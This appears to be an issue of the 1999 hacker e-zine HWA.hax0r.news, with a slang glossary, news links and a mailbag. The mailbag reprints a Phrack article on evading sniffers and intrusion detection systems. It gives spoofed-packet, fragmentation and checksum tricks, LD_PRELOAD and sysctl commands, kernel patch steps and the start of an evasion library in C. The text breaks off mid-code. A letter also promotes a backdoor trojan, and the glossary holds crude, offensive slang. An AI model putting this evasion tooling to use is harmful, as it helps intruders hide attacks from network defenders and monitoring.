dicentra...(email withheld): IRC+ grrl in black
twisted-pair@home.com......: currently active/programming/IRC+
Foreign Correspondants/affiliate members
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Qubik ............................: United Kingdom
D----Y ...........................: USA/world media
HWA members ......................: World Media
Past Foreign Correspondants (currently inactive or presumed dead)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sla5h.............................: Croatia
N0Portz ..........................: Australia
system error .....................: Indonesia
Wile (wile coyote) ...............: Japan/the East
Ruffneck ........................: Netherlands/Holland
Wyze1.............................: South Africa
Please send in your sites for inclusion here if you haven't already
also if you want your emails listed send me a note ... - Ed
Spikeman's site is down as of this writing, if it comes back online it will be
posted here.
http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian)
Sla5h's email: smuddo@yahoo.com
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*******************************************************************
:-p
1. We do NOT work for the government in any shape or form.Unless you count paying
taxes ... in which case we work for the gov't in a BIG WAY. :-/
2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
events its a good idea to check out issue #1 at least and possibly also the
Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...
@HWA
00.4 Whats in a name? why HWA.hax0r.news??
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Well what does HWA stand for? never mind if you ever find out I may
have to get those hax0rs from 'Hackers' or the Pretorians after you.
In case you couldn't figure it out hax0r is "new skewl" and although
it is laughed at, shunned, or even pidgeon holed with those 'dumb
leet (l33t?) dewds' <see article in issue #4> this is the state
of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
up and comers, i'd highly recommend you get that book. Its almost
like buying a clue. Anyway..on with the show .. - Editorial staff
@HWA
00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Also released in issue #3. (revised) check that issue for the faq
it won't be reprinted unless changed in a big way with the exception
of the following excerpt from the FAQ, included to assist first time
readers:
Some of the stuff related to personal useage and use in this zine are
listed below: Some are very useful, others attempt to deny the any possible
attempts at eschewing obfuscation by obsucuring their actual definitions.
@HWA - see EoA ;-)
!= - Mathematical notation "is not equal to" or "does not equal"
ASC(247) "wavey equals" sign means "almost equal" to. If written
an =/= (equals sign with a slash thru it) also means !=, =< is Equal
to or less than and => is equal to or greater than (etc, this aint
fucking grade school, cripes, don't believe I just typed all that..)
AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
AOL - A great deal of people that got ripped off for net access by a huge
clueless isp with sekurity that you can drive buses through, we're
not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
least they could try leasing one??
*CC - 1 - Credit Card (as in phraud)
2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's
CCC - Chaos Computer Club (Germany)
*CON - Conference, a place hackers crackers and hax0rs among others go to swap
ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
watch videos and seminars, get drunk, listen to speakers, and last but
not least, get drunk.
*CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
speak he's the guy that breaks into systems and is often (but by no
means always) a "script kiddie" see pheer
2 . An edible biscuit usually crappy tasting without a nice dip, I like
jalapeno pepper dip or chives sour cream and onion, yum - Ed
Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
ebonics, speaking in a dark tongue ... being ereet, see pheer
EoC - End of Commentary
EoA - End of Article or more commonly @HWA
EoF - End of file
EoD - End of diatribe (AOL'ers: look it up)
FUD - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
usually in general media articles not high brow articles such as ours or other
HNN affiliates ;)
du0d - a small furry animal that scurries over keyboards causing people to type
weird crap on irc, hence when someone says something stupid or off topic
'du0d wtf are you talkin about' may be used.
*HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R
*HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
define, I think it is best defined as pop culture's view on The Hacker ala
movies such as well erhm "Hackers" and The Net etc... usually used by "real"
hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
some coffee?' or can you hax0r some bread on the way to the table please?'
2 - A tool for cutting sheet metal.
HHN - Maybe a bit confusing with HNN but we did spring to life around the same
time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
noun means the hackernews site proper. k? k. ;&
HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html
J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d
MFI/MOI- Missing on/from IRC
NFC - Depends on context: No Further Comment or No Fucking Comment
NFR - Network Flight Recorder (Do a websearch) see 0wn3d
NFW - No fuckin'way
*0WN3D - You are cracked and owned by an elite entity see pheer
*OFCS - Oh for christ's sakes
PHACV - And variations of same <coff>
Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
Alternates: H - hacking, hacktivist
C - Cracking <software>
C - Cracking <systems hacking>
V - Virus
W - Warfare <cyberwarfare usually as in Jihad>
A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
P - Phreaking, "telephone hacking" PHone fREAKs ...
CT - Cyber Terrorism
*PHEER - This is what you do when an ereet or elite person is in your presence
see 0wn3d
*RTFM - Read the fucking manual - not always applicable since some manuals are
pure shit but if the answer you seek is indeed in the manual then you
should have RTFM you dumb ass.
TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
TBA - To Be Arranged/To Be Announced also 2ba
TFS - Tough fucking shit.
*w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
from the underground masses. also "w00ten" <sic>
2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)
*wtf - what the fuck, where the fuck, when the fuck etc ..
*ZEN - The state you reach when you *think* you know everything (but really don't)
usually shortly after reaching the ZEN like state something will break that
you just 'fixed' or tweaked.
@HWA
-=- :. .: -=-
01.0 Greets!?!?! yeah greets! w0w huh. - Ed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thanks to all in the community for their support and interest but i'd
like to see more reader input, help me out here, whats good, what sucks
etc, not that I guarantee i'll take any notice mind you, but send in
your thoughts anyway.
* all the people who sent in cool emails and support
FProphet Pyra TwstdPair _NeM_
D----Y Dicentra vexxation sAs72
Spikeman p0lix Vortexia Wyze1
Pneuma Raven Zym0t1c duro
Repluzer
Folks from #hwa.hax0r,news
Ken Williams/tattooman ex-of PacketStorm,
& Kevin Mitnick
kewl sites:
+ http://blacksun.box.sk. NEW
+ http://packetstorm.securify.com/ NEW
+ http://www.securityportal.com/ NEW
+ http://www.securityfocus.com/ NEW
+ http://www.hackcanada.com/
+ http://www.l0pht.com/
+ http://www.2600.com/
+ http://www.freekevin.com/
+ http://www.genocide2600.com/
+ http://www.hackernews.com/ (Went online same time we started issue 1!)
+ http://www.net-security.org/
+ http://www.slashdot.org/
+ http://www.freshmeat.net/
+ http://www.403-security.org/
+ http://ech0.cjb.net/
@HWA
01.1 Last minute stuff, rumours and newsbytes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"What is popular isn't always right, and what is right isn't
always popular..."
- FProphet '99
+++ When was the last time you backed up your important data?
++ FREE MOBILE SECURITY SOFTWARE FROM SPRINT - Get high-level security
against internal and external network security breaches with 100%
credit-back guaranteed SLAs and free security Software for mobile
users. Visit http://www.sprintbiz.com/wirednews1/
++ MIT's Media Lab: Dublin Reach (Business 3:00 a.m.)
http://www.wired.com/news/business/0,1367,31929,00.html?tw=wn19991018
A proposed US$200 million research and teaching center, led by
Nicholas Negroponte, may ensure Ireland's bid to become the European
center for e-commerce. Karlin Lillington reports from Dublin.
++ SBC's Broad Push for Broadband (Reuters 7:00 a.m.)
http://www.wired.com/news/reuters/0,1349,31957,00.html?tw=wn19991018
The company launches a $6 billion program to become the largest
provider of broadband services in the United States.
++ HDTV on the Final Frontier (Culture 3:00 a.m.)
http://www.wired.com/news/culture/0,1284,31945,00.html?tw=wn19991018
Clint Eastwood's astronaut adventure movie, <cite>Space Cowboy,</cite>
is the first to use HDTV technology in a full-length feature film.
Andrew Rice reports from Burbank, California.
++ The Mighty Pen or Almighty PC? (Reuters 3:00 a.m.)
http://www.wired.com/news/reuters/0,1349,31955,00.html?tw=wn19991018
Bill Gates says megalomania's not his style -- it's media mogul Rupert
Murdoch who wants to take over the world. The world's richest man
professes innocence and humility in a BBC interview.
++ How MS' Junket Paid Off (Politics 16.Oct.99)
http://www.wired.com/news/politics/0,1283,31937,00.html?tw=wn19991018
When they got home from an all-expenses-paid trip to Redmond,
Microsoft allies lobbied the government to slash its antitrust
division. Y' think they were related events? Declan McCullagh reports
from Washington.
Thanks to myself for providing the info from my wired news feed and others from whatever
sources, also to Spikeman for sending in past entries.... - Ed
@HWA
01.2 MAILBAG - email and posts from the message board worthy of a read
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Yeah we have a message board, feel free to use it, remember there are no stupid questions...
well there are but if you ask something really dumb we'll just laugh at ya, lets give the
message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org
domain comes back online (soon) meanwhile the beseen board is still up...
From: Inviz <inviz@***.com>
To: <hwa.hax0r.news-owner@listbot.com>
Sent: Wednesday, September 01, 1999 11:05 AM
Subject: hwa
==================================================================
The following message was received at hwa.hax0r.news-owner@listbot.com
and is being forwarded to you, the list owner.
==================================================================
Hey.. Just wanted to thank you for putting out HWA. I enjoy reading it, and
it does a great job of summarizing what's currently happening in whatever
it is that we call "the scene". I must also commend you on keeping this up
for such a long time. I'm sure it's hard to cull through the enormous
amount of material to find what's accurate and useful, and I know that I
couldn't devote the time necessary.
Again, thanks, and keep up the excellent work.
From: Alexander A. Fedenko
To: hwa@press.usmc.net
Sent: Saturday, October 09, 1999 7:57 AM
Subject: Donald Dick 1.53
Donald Dick 1.53 is realesed.
It became the first! really polymorphic backdoor trojan.
You can read about it on http://donalddick.da.ru
I think it`s progressive innovation for such programms.
PS. I`m sure this news will be interesting for you.
Alexander A. Fedenko
From: Dragos Ruiu
To: cruciphux@dok.org
Sent: Tuesday, October 05, 1999 5:22 PM
Subject: kangafootech: Sniff Sniff
(No real surprises. But what about all the penetration opportunities in all
those flawed stacks. At least one group is keeping a catalog of those. --dr)
---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12
-------------------------[ Defeating Sniffers and Intrusion Detection Systems
--------[ horizon
----[ Overview
The purpose of this article is to demonstrate some techniques that can be used
to defeat sniffers and intrusion detection systems. This article focuses
mainly on confusing your average "hacker" sniffer, with some rough coverage of
Intrusion Detection Systems (IDS). However, the methods and code present in
this article should be a good starting point for getting your packets past ID
systems. For an intense examination of attack techniques against IDS, check
out: http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp.
There are a large number of effective techniques other than those that are
implemented in this article. I have chosen a few generic techniques that
hopefully can be easily expanded into more targeted and complex attacks. After
implementing these attacks, I have gone through and attempted to correlate
them to the attacks described in the NAI paper, where appropriate.
The root cause of the flaws discussed in this article is that most sniffers
and intrusion detection systems do not have as robust of a TCP/IP
implementation as the machines that are actually communicating on the network.
Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI,
or SOCK_PACKET. The sniffer receives the entire datalink level frame, and
gets no contextual clues from the kernel as to how that frame will be
interpreted. Thus, the sniffer has the job of interpreting the entire packet
and guessing how the kernel of the receiving machine is going to process it.
Luckily, 95% of the time, the packet is going to be sane, and the kernel
TCP/IP stack is going to behave rather predictably. It is the other 5% of the
time that we will be focusing on.
This article is divided into three sections: an overview of the techniques
employed, a description of the implementation and usage, and the code. Where
possible, the code has been implemented in a somewhat portable format: a
shared library that wraps around connect(), which you can use LD_PRELOAD to
"install" into your normal client programs. This shared library uses raw
sockets to create TCP packets, which should work on most unixes. However, some
of the attacks described are too complex to implement with raw sockets, so
simple OpenBSD kernel patches are supplied. I am working on complementary
kernel patches for Linux, which will be placed on the rhino9 web site when
they are complete. The rhino9 web site is at: http://www.rhino9.ml.org/
----[ Section 1. The Tricks
The first set of tricks are solely designed to fool most sniffers, and will
most likely have no effect on a decent ID system. The second set of tricks
should be advanced enough to start to have an impact on the effectiveness of
an intrusion detection system.
Sniffer Specific Attacks
------------------------
1. Sniffer Design - One Host Design
The first technique is extremely simple, and takes advantage of the design of
many sniffers. Several hacker sniffers are designed to follow one connection,
and ignore everything else until that connection is closed or reaches some
internal time out. Sniffers designed in this fashion have a very low profile,
as far as memory usage and CPU time. However, they obviously miss a great deal
of the data that can be obtained. This gives us an easy way of preventing our
packets from being captured: before our connection, we send a spoofed SYN
packet from a non-existent host to the same port that we are attempting to
connect to. Thus, the sniffer sees the SYN packet, and if it is listening, it
will set up its internal state to monitor all packets related to that
connection. Then, when we make our connection, the sniffer ignores our SYN
because it is watching the fake host. When the host later times out, our
connection will not be logged because our initial SYN packet has long been
sent.
2. Sniffer Design - IP options
The next technique depends on uninformed coding practices within sniffers.
If you look at the code for some of the hacker sniffers, namely ones based-off
of the original linsniffer, you will see that they have a structure that looks
like this:
struct etherpacket
{
etherheader eh;
ipheader ip;
tcpheader tcp;
char data[8192];
};
The sniffer will read a packet off of the datalink interface, and then slam it
into that structure so it can analyze it easily. This should work fine most
of the time. However, this approach makes a lot of assumptions: it assumes
that the size of the IP header is 20 bytes, and it also assumes that the size
of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of
options, then the sniffer is going to look inside your IP options for the TCP
header, and completely misinterpret your packet. If the sniffer handles your
IP header correctly, but incorrectly handles the TCP header, that doesn't buy
you quite as much. In that situation, you get an extra 40 bytes of data that
the sniffer will log. I have implemented mandatory IP options in the OpenBSD
kernel such that it is manageable by a sysctl.
3. Insertion - FIN and RST Spoofing - Invalid Sequence Numbers
This technique takes advantage of the fact that your typical sniffer is not
going to keep track of the specific details of the ongoing connection. In a
TCP connection, sequence numbers are used as a control mechanism for
determining how much data has been sent, and the correct order for the data
that has been sent. Most sniffers do not keep track of the sequence numbers
in an ongoing TCP connection. This allows us to insert packets into the data
stream that the kernel will disregard, but the sniffer will interpret as valid.
The first technique we will use based on this is spoofing FIN and RST packets.
FIN and RST are control flags inside the TCP packets, a FIN indicating the
initiation of a shutdown sequence for one side of a connection, and an RST
indicating that a connection should be immediately torn down. If we send a
packet with a FIN or RST, with a sequence number that is far off of the current
sequence number expected by the kernel, then the kernel will disregard it.
However, the sniffer will likely regard this as a legitimate connection close
request or connection reset, and cease logging.
It is interesting to note that certain implementations of TCP stacks do not
check the sequence numbers properly upon receipt of an RST. This obviously
provides a large potential for a denial of service attack. Specifically, I
have noticed that Digital Unix 4.0d will tear down connections without
checking the sequence numbers on RST packets.
4. Insertion - Data Spoofing - Invalid Sequence Numbers
This technique is a variation of the previous technique, which takes advantage
of the fact that a typical sniffer will not follow the sequence numbers of a
TCP connection. A lot of sniffers have a certain data capture length, such
that they will stop logging a connection after that amount of data has been
captured. If we send a large amount of data after the connection initiation,
with completely wrong sequence numbers, our packets will be dropped by the
kernel. However, the sniffer will potentially log all of that data as valid
information. This is roughly an implementation of the "tcp-7" attack mentioned
in the NAI paper.
IDS / Sniffer Attacks:
---------------------
The above techniques work suprisingly well for most sniffers, but they are not
going to have much of an impact on most IDS. The next six techniques are a
bit more complicated, but represent good starting points for getting past the
more complex network monitors.
5. Evasion - IP Fragmentation
IP fragmentation allows packets to be split over multiple datagrams in order
to fit packets within the maximum transmission unit of the physical network
interface. Typically, TCP is aware of the mtu, and doesn't send packets that
need to be fragmented at an IP level. We can use this to our advantage to try
to confuse sniffers and IDS. There are several potential attacks involving
fragmentation, but we will only cover a simple one. We can send a TCP packet
split over several IP datagrams such that the first 8 bytes of the TCP header
are in a single packet, and the rest of the data is sent in 32 byte packets.
This actually buys us a lot in our ability to fool a network analysis tool.
First of all, the sniffer/IDS will have to be capable of doing fragment
reassembly. Second of all, it will have to be capable of dealing with
fragmented TCP headers. It turns out that this simple technique is more than
sufficient to get your packets past most datalink level network monitors.
This an another attack that I chose to implement as a sysctl in the OpenBSD
kernel.
This technique is very powerful in it's ability to get past most sniffers
completely. However, it requires some experimentation because you have to
make sure that your packets will get past all of the filters between you and
the target. Certain packet filters wisely drop fragmented packets that look
like they are going to rewrite the UDP/TCP header, or that look like they are
unduly small. The implementation in this article provides a decent deal of
control over the size of the fragments that your machine will output. This
will allow you to implement the "frag-1" and "frag-2" attacks described in the
NAI paper.
6. Desynchronization - Post Connection SYN
If we are attempting to fool an intelligent sniffer, or an ID system, then we
can be pretty certain that it will keep track of the TCP sequence numbers. For
this technique, we will attempt to desynchronize the sniffer/IDS from the
actual sequence numbers that the kernel is honoring. We will implement this
attack by sending a post connection SYN packet in our data stream, which will
have divergent sequence numbers, but otherwise meet all of the necessary
criteria to be accepted by our target host. However, the target host will
ignore this SYN packet, because it references an already established
connection. The intent of this attack is to get the sniffer/IDS to
resynchronize its notion of the sequence numbers to the new SYN packet. It
will then ignore any data that is a legitimate part of the original stream,
because it will be awaiting a different sequence number. If we succeed in
resynchronizing the IDS with a SYN packet, we can then send an RST packet with
the new sequence number and close down its notion of the connection. This
roughly corresponds with the "tcbc-2" attack mentioned in the NAI paper.
7. Desynchronization - Pre Connection SYN
Another attack we perform which is along this theme is to send an initial SYN
before the real connection, with an invalid TCP checksum. If the sniffer is
smart enough to ignore subsequent SYNs in a connection, but not smart enough
to check the TCP checksum, then this attack will synchronize the sniffer/IDS
to a bogus sequence number before the real connection occurs. This attack
calls bind to get the kernel to assign a local port to the socket before
calling connect.
8. Insertion - FIN and RST Spoofing - TCP checksum validation
This technique is a variation of the FIN/RST spoofing technique mentioned
above. However, this time we will attempt to send FIN and RST packets that
should legitimately close the connection, with one notable exception: the TCP
checksum will be invalid. These packets will be immediately dropped by the
kernel, but potentially honored by the IDS/sniffer. This attack requires
kernel support in order to determine the correct sequence numbers to use on
the packet. This is similar to the "insert-2" attack in the NAI paper.
9. Insertion - Invalid Data - TCP checksum validation
This technique is a variation of the previous data insertion attack, with the
exception that we will be inserting data with the correct sequence numbers,
but incorrect TCP checksums. This will serve to confuse and desynchronize
sniffers and ID by feeding it a lot of data that will not be honored by the
participating kernels. This attack requires kernel support to get the correct
sequence numbers for the outgoing packets. This attack is also similar to the
"insert-2" attack described in the NAI paper.
10. Insertion - FIN and RST Spoofing - Short TTL
If the IDS or sniffer is sitting on the network such that it is one or more
hops away from the host it is monitoring, then we can do a simple attack,
utilizing the TTL field of the IP packet. For this attack, we determine the
lowest TTL that can be used to reach the target host, and then subtract one.
This allows us to send packets that will not reach the target host, but that
have the potential of reaching the IDS or sniffer. In this attack, we send a
couple of FIN packets, and a couple of RST packets.
11. Insertion - Data Spoofing - Short TTL
For our final attack, we will send 8k of data with the correct sequence
numbers and TCP checksums. However, the TTL will be one hop too short to reach
our target host.
Summary
-------
All of these attacks work in concert to confuse sniffers and IDS. Here is a
breakdown of the order in which we perform them:
Attack 1 - One Host Sniffer Design.
FAKEHOST -> TARGET SYN
Attack 7 - Pre-connect Desynchronization Attempt.
REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number)
Kernel Activity
REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel)
Attack 6 - Post-connect Desynchronization Attempt.
REALHOST -> TARGET SYN (Arbitrary Seq Number X)
REALHOST -> TARGET SYN (Seq Number X+1)
Attack 4 - Data Spoofing - Invalid Sequence Numbers
REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)
Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers
REALHOST -> TARGET FIN (Seq Number X+2+8192)
REALHOST -> TARGET FIN (Seq Number X+3+8192)
REALHOST -> TARGET RST (Seq Number X+4+8192)
REALHOST -> TARGET RST (Seq Number X+5+8192)
Attack 11 - Data Spoofing - TTL
* REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y)
Attack 10 - FIN/RST Spoofing - TTL
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192)
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192)
Attack 9 - Data Spoofing - Checksum
* REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z)
Attack 8 - FIN/RST Spoofing - Checksum
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192)
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192)
The attacks with an asterisk require kernel support to determine the correct
sequence numbers. Arguably, this could be done without kernel support,
utilizing a datalink level sniffer, but it would make the code significantly
more complex, because it would have to reassemble fragments, and do several
validation checks in order to follow the real connection. The user can choose
which of these attacks he/she would like to perform, and the sequence numbers
will adjust themselves accordingly.
----[ Section 2 - Implementation and Usage
My primary goal when implementing these techniques was to keep the changes
necessary to normal system usage as slight as possible. I had to divide the
techniques into two categories: attacks that can be performed from user
context, and attacks that have to be augmented by the kernel in some fashion.
My secondary goal was to make the userland set of attacks reasonably portable
to other Unix environments, besides OpenBSD and Linux.
The userland attacks are implemented using shared library redirection, an
extremely useful technique borrowed from halflife's P51-08 article. The first
program listed below, congestant.c, is a shared library that the user requests
the loader to link first. This is done with the LD_PRELOAD environment
variable on several unixes. For more information about this technique, refer
to the original article by halflife.
The shared library defines the connect symbol, thus pre-empting the normal
connect function from libc (or libsocket) during the loading phase of program
execution. Thus, you should be able to use these techniques with most any
client program that utilizes normal BSD socket functionality. OpenBSD does
not let us do shared library redirection (when you attempt to dlsym the old
symbol out of libc, it gives you a pointer to the function you had pre-loaded).
However, this is not a problem because we can just call the connect() syscall
directly.
This shared library has some definite drawbacks, but you get what you pay for.
It will not work correctly with programs that do non-blocking connect calls,
or RAW or datalink level access. Furthermore, it is designed for use on TCP
sockets, and without kernel support to determine the type of a socket, it will
attempt the TCP attacks on UDP connections. This support is currently only
implemented under OpenBSD. However, this isn't that big of a drawback because
it just sends a few packets that get ignored. Another drawback to the shared
library is that it picks a sequence number out of the blue to represent the
"wrong" sequence number. Due to this fact, there is a very small possibility
that the shared library will pick a legitimate sequence number, and not
desynchronize the stream. This, however, is extremely unlikely.
A Makefile accompanies the shared library. Edit it to fit your host, and then
go into the source file and make it point to your copy of libc.so, and you
should be ready to go. The code has been tested on OpenBSD 2.3, 2.4, Debian
Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6.
You can use the library like this:
# export LD_PRELOAD=./congestion.so
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
# telnet www.blah.com
The library will "wrap" around any connects in the programs you run from that
point on, and provide you some protection behind the scenes. You can control
the program by defining the CONGCONF environment variable. You give it a
comma delimited list of attacks, which break out like this:
DEBUG: Show debugging information
OH: Do the One Host Design Attack
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
SS: Spoof a SYN after the connection in a desynchronization attempt.
DS: Insert 8k of data with bad sequence numbers.
FS: Spoof FIN packets with bad sequence numbers.
RS: Spoof RST packets with bad sequence numbers.
DC: Insert 8k of data with bad TCP checksums. (needs kernel support)
FC: Spoof FIN packets with bad TCP checksums. (needs kernel support)
RC: Spoof RST packets with bad TCP checksums. (needs kernel support)
DT: Insert 8k of data with short TTLs. (needs kernel support)
FT: Spoof FIN packets with short TTLs. (needs kernel support)
RT: Spoof RST packets with short TTLs. (needs kernel support)
Kernel Support
--------------
OpenBSD kernel patches are provided to facilitate several of the techniques
described above. These patches have been made against the 2.4 source
distribution. I have added three sysctl variables to the kernel, and one new
system call. The three sysctl variables are:
net.inet.ip.fraghackhead (integer)
net.inet.ip.fraghackbody (integer)
net.inet.ip.optionshack (integer)
The new system call is getsockinfo(), and it is system call number 242.
The three sysctl's can be used to modify the characteristics of every outgoing
IP packet coming from the machine. The fraghackhead variable specifies a new
mtu, in bytes, for outgoing IP datagrams. fraghackhead is applied to every
outgoing datagram, unless fraghackbody is also defined. In that case, the mtu
for the first fragment of a packet is read from fraghackhead, and the mtu for
every consecutive fragment is read from fraghackbody. This allows you to
force your machine into fragmenting all of its traffic, to any size that you
specify. The reason it is divided into two variables is so that you can have
the first fragment contain the entire TCP/UDP header, and have the following
fragments be 8 or 16 bytes. This way, you can get your fragmented packets past
certain filtering routers that block any sort of potential header rewriting.
The optionshack sysctl allows you to turn on mandatory 40 bytes of NULL IP
options on every outgoing packet.
I implemented these controls such that they do not have any effect on packets
sent through raw sockets. The implication of this is that our attacking
packets will not be fragmented or contain IP options.
Using these sysctl's is pretty simple: for the fraghack variables, you specify
a number of bytes (or 0 to turn them off), and for the optionshack, you either
set it to 0 or 1. Here is an example use:
# sysctl -w net.inet.ip.optionshack=1 # 40 bytes added to header
# sysctl -w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header
# sysctl -w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag
It is very important to note that you should be careful with the fraghack
options. When you specify extreme fragmentation, you quickly eat up the
memory that the kernel has available for storing packet headers. If memory
usage is too high, you will notice sendto() returning a no buffer space error.
If you stick to programs like telnet or ssh, that use small packets, then you
should be fine with 28 or 28/36. However, if you use programs that use large
packets like ftp or rcp, then you should bump fraghackbody up to a higher
number, such as 200.
The system call, getsockinfo, is needed by the userland program to determine if
a socket is a TCP socket, and to query the kernel for the next sequence number
that it expects to send on the next outgoing packet, as well as the next
sequence number it expects to receive from it's peer. This allows the
userland program to implement attacks based on having a correct sequence
number, but some other flaw in the packet such as a short TTL or bad TCP
checksum.
Kernel Patch Installation
-------------------------
Here are the steps I use to install the kernel patches.
Disclaimer: I am not an experienced kernel programmer, so don't be too upset
if your box gets a little flaky. The testing I've done on my own machines has
gone well, but be aware that you really are screwing with critical stuff by
installing these patches. You may suffer performance hits, or other such
unpleasentries. But hey, you can't have any fun if you don't take any risks. :>
Step 1. Apply the netinet.patch to /usr/src/sys/netinet/
Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h
Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it
Step 4. Apply kern.patch to /usr/src/sys/kern/
Step 5. cd /usr/src/sys/kern; make
Step 6. Apply sys.patch to /usr/src/sys/sys/
Step 7. cd into your kernel build directory
(/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make.
Step 8. cp bsd /bsd, reboot, and cross your fingers. :>
----[ The Code
<++> congestant/Makefile
# OpenBSD
LDPRE=-Bshareable
LDPOST=
OPTS=-DKERNELSUPPORT
# Linux
#LDPRE=-Bshareable
#LDPOST=-ldl
#OPTS=
# Solaris
#LDPRE=-G
#LDPOST=-ldl
#OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42
congestant.so: congestant.o
ld ${LDPRE} -o congestant.so congestant.o ${LDPOST}
congestant.o: congestant.c
gcc ${OPTS} -fPIC -c congestant.c
clean:
rm -f congestant.o congestant.so
<-->
<++> congestant/congestant.c
/*
* congestant.c - demonstration of sniffer/ID defeating techniques
*
* by horizon
* special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor
*
* openbsd doesn't let us do shared lib redirection, so we implement the
* connect system call directly. Also, the kernel support for certain attacks
* is only implemented in openbsd. When I finish the linux support, it will
* be available at http://www.rhino9.ml.org
*
* This whole thing is a conditionally compiling nightmare. :>
* This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1,
* Solaris 2.6, Debian Linux, and the glibc Debian Linux
*/
/* The path to our libc. (libsocket under Solaris) */
/* You don't need this if you are running OpenBSD */
/* #define LIB_PATH "/usr/lib/libsocket.so" */
#define LIB_PATH "/lib/libc-2.0.7.so"
/* #define LIB_PATH "/usr/lib/libc.so" */
/* The source of our initial spoofed SYN in the One Host Design attack */
/* This has to be some host that will survive any outbound packet filters */
#define FAKEHOST "42.42.42.42"
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#if __linux__
#include
#endif
#include
struct cong_config
{
int one_host_attack;
int fin_seq;
int rst_seq;
int syn_seq;
int data_seq;
int data_chk;
int fin_chk;
int rst_chk;
int syn_chk;
int data_ttl;
int fin_ttl;
int rst_ttl;
int ttl;
} cong_config;
int cong_init=0;
int cong_debug=0;
long cong_ttl_cache=0;
int cong_ttl=0;
/* If this is not openbsd, then we will use the connect symbol from libc */
/* otherwise, we will use syscall(SYS_connect, ...) */
#ifndef __OpenBSD__
#if __GLIBC__ == 2
int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL;
#else
int (*cong_connect)(int, const struct sockaddr *, int)=NULL;
#endif
#endif /* not openbsd */
#define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x));
/* define our own headers so its easier to port. use cong_ to avoid any
* potential symbol name collisions */
struct cong_ip_header
{
unsigned char ip_hl:4, /* header length */
ip_v:4; /* version */
unsigned char ip_tos; /* type of service */
unsigned short ip_len; /* total length */
unsigned short ip_id; /* identification */
unsigned short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
unsigned char ip_ttl; /* time to live */
unsigned char ip_p; /* protocol */
unsigned short ip_sum; /* checksum */
unsigned long ip_src, ip_dst; /* source and dest address */
};
struct cong_icmp_header /* this is really an echo */
